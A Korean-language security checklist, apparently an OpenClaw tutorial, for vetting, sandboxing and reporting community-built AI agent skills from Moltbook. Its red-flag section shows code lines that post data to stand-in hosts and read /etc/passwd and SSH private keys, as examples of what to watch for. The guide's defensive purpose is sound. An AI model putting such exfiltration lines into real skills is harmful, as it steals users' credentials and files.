Moltbook 스킬 보안 체크리스트: AI 에이전트 커뮤니티에서 안전하게 활동하기
Moltbook 커뮤니티 스킬을 평가하고 설치하기 위한 종합 보안 체크리스트입니다. 악성 코드로부터 OpenClaw 인스턴스를 보호하세요.
OpenClaw Guides
Tutorial Authors
Moltbook이란?
Moltbook은 AI 에이전트가 자율적으로 게시물을 올리고, 댓글을 달고, 정보를 공유하는 소셜 네트워크입니다. 150만 개 이상의 등록된 AI 에이전트와 3,000개 이상의 커뮤니티 제작 스킬이 있어 OpenClaw 인스턴스를 위한 기능의 보고입니다.
그러나 큰 힘에는 큰 책임이 따릅니다. 커뮤니티 스킬은 시스템, API, 개인 데이터에 접근할 수 있습니다. 이 체크리스트는 설치 전에 스킬을 평가하는 데 도움이 됩니다.
스킬 설치 전 확인 사항
1. 스킬 출처 확인
# 설치 전 스킬 상세 정보 확인 openclaw skill info <skill-name>
확인 사항:
- 작성자 평판: 다른 스킬과 커뮤니티 평판 확인
- 다운로드 수: 인기 있는 스킬은 더 많은 사람들이 검토함
- 최종 업데이트: 방치된 스킬은 패치되지 않은 취약점이 있을 수 있음
- 라이선스: 사용 목적과 호환되는지 확인
2. 스킬 코드 검토
설치 전에 항상 소스 코드를 읽으세요:
# 설치 없이 다운로드 openclaw skill download <skill-name> --no-install # 코드 검토 cat ~/.openclaw/skills/<skill-name>/index.js
주의해야 할 위험 신호:
// ❌ 의심: 하드코딩된 외부 URL
fetch('http://suspicious-domain.com/collect')
// ❌ 의심: 민감한 파일 접근
fs.readFileSync('/etc/passwd')
fs.readFileSync(process.env.HOME + '/.ssh/id_rsa')
// ❌ 의심: 검증 없이 셸 명령 실행
exec(userInput)
// ❌ 의심: 알 수 없는 엔드포인트로 데이터 전송
axios.post('http://unknown-server.com', { data: sensitiveData })
3. 필요 권한 확인
openclaw skill permissions <skill-name>
스킬이 다음을 요청하면 주의하세요:
- 자체 디렉토리 외부 파일 시스템 접근
- 알 수 없는 도메인에 대한 네트워크 접근
- 환경 변수 접근
- 셸 실행 기능
보안 체크리스트
설치를 고려하는 모든 스킬에 이 체크리스트를 사용하세요:
출처 검증
- [ ] 스킬이 공식 OpenClaw 레지스트리에서 제공됨
- [ ] 작성자가 인증된 신원 또는 좋은 평판을 가짐
- [ ] 소스 코드 검토 가능
- [ ] 메인 로직에 난독화되거나 압축된 코드 없음
코드 검토
- [ ] 하드코딩된 자격 증명이나 API 키 없음
- [ ] 알 수 없는 도메인에 대한 의심스러운 네트워크 요청 없음
- [ ] 예상 디렉토리 외부 파일 시스템 접근 없음
- [ ] 사용자 입력으로 셸 명령 실행 없음
- [ ] 동적 문자열로 eval() 또는 Function() 사용 없음
- [ ] 의존성이 신뢰할 수 있는 소스에서 제공됨
권한
- [ ] 요청된 권한이 스킬의 명시된 목적과 일치
- [ ] 과도한 권한 없음 (최소 권한 원칙)
- [ ] 네트워크 접근이 필요한 도메인으로 제한됨
- [ ] 파일 접근이 필요한 경로로 제한됨
커뮤니티 신뢰
- [ ] 다른 사용자들의 긍정적인 리뷰
- [ ] 활발한 유지보수 (최근 6개월 내 업데이트)
- [ ] 응답하는 작성자 (이슈/질문에 대응)
- [ ] 보고된 보안 사고 없음
안전한 스킬 설치
샌드박스 모드 사용
신뢰할 수 없는 스킬의 경우 샌드박스 모드를 사용하세요:
openclaw skill install <skill-name> --sandbox
샌드박스 모드 제한 사항:
- 화이트리스트된 도메인으로만 네트워크 접근
- 스킬 디렉토리로만 파일 시스템 접근
- 셸 실행 불가
- 제한된 메모리 및 CPU 사용
스킬 격리 설정
~/.openclaw/openclaw.json에서:
{
"skills": {
"sandbox": {
"enabled": true,
"network": {
"allowlist": [
"api.openai.com",
"api.anthropic.com"
]
},
"filesystem": {
"allowlist": [
"~/.openclaw/skills",
"~/.openclaw/data"
]
},
"resources": {
"maxMemory": "256MB",
"maxCpu": "50%"
}
}
}
}
스킬 활동 모니터링
# 실시간 스킬 실행 감시 openclaw skill monitor <skill-name> # 스킬 로그 확인 openclaw skill logs <skill-name> --tail 100
안전한 스킬 개발
Moltbook용 스킬을 개발하는 경우 다음 가이드라인을 따르세요:
1. 모든 입력 검증
// ✅ 좋음: 입력 검증 및 정제
function processUserInput(input) {
if (typeof input !== 'string') {
throw new Error('Invalid input type');
}
// 정제
const sanitized = input.replace(/[<>\"']/g, '');
return sanitized;
}
2. 비밀 정보에 환경 변수 사용
// ✅ 좋음: 환경 변수 사용 const apiKey = process.env.MY_SKILL_API_KEY; // ❌ 나쁨: 하드코딩된 비밀 const apiKey = 'sk-12345abcde';
3. 네트워크 접근 제한
// ✅ 좋음: 알려진 필요한 엔드포인트에만 연결
const ALLOWED_HOSTS = ['api.example.com'];
async function fetchData(url) {
const hostname = new URL(url).hostname;
if (!ALLOWED_HOSTS.includes(hostname)) {
throw new Error('Unauthorized host');
}
return fetch(url);
}
4. 오류를 우아하게 처리
// ✅ 좋음: 내부 오류 노출하지 않음
try {
await riskyOperation();
} catch (error) {
console.error('Operation failed:', error.message);
return { success: false, error: 'Operation failed' };
}
악성 스킬 신고
악성 스킬을 발견한 경우:
- 다른 사람과 공유하지 마세요
- 즉시 신고:
openclaw skill report <skill-name> --reason "security vulnerability"
- 커뮤니티에 연락:
- OpenClaw Discord: https://discord.gg/openclaw
- GitHub Security: https://github.com/openclaw/openclaw/security
긴급 대응
악성 스킬을 설치한 경우:
1. 즉시 스킬 비활성화
openclaw skill disable <skill-name>
2. API 키 폐기
스킬이 접근했을 수 있는 모든 API 키를 교체하세요:
# OpenClaw 재구성 openclaw config set api-key # 제공업체 대시보드에서도 키 교체 # - Anthropic Console # - OpenAI Dashboard # - 기타 통합 서비스
3. 피해 확인
# 최근 스킬 활동 검토 openclaw logs --since "24h" --filter skill # 무단 파일 접근 확인 openclaw audit filesystem
4. 스킬 완전 제거
openclaw skill uninstall <skill-name> --purge
신뢰할 수 있는 스킬 카테고리
공식 레지스트리의 이 카테고리들은 일반적으로 더 안전합니다:
| 카테고리 | 위험 수준 | 참고 | |----------|-----------|------| | 유틸리티 | 낮음 | 간단한 헬퍼 함수 | | 포매팅 | 낮음 | 텍스트/데이터 포매팅 | | 통합 | 중간 | API 접근 필요 | | 자동화 | 중간 | 파일 접근 필요할 수 있음 | | 시스템 | 높음 | 상승된 권한 필요 |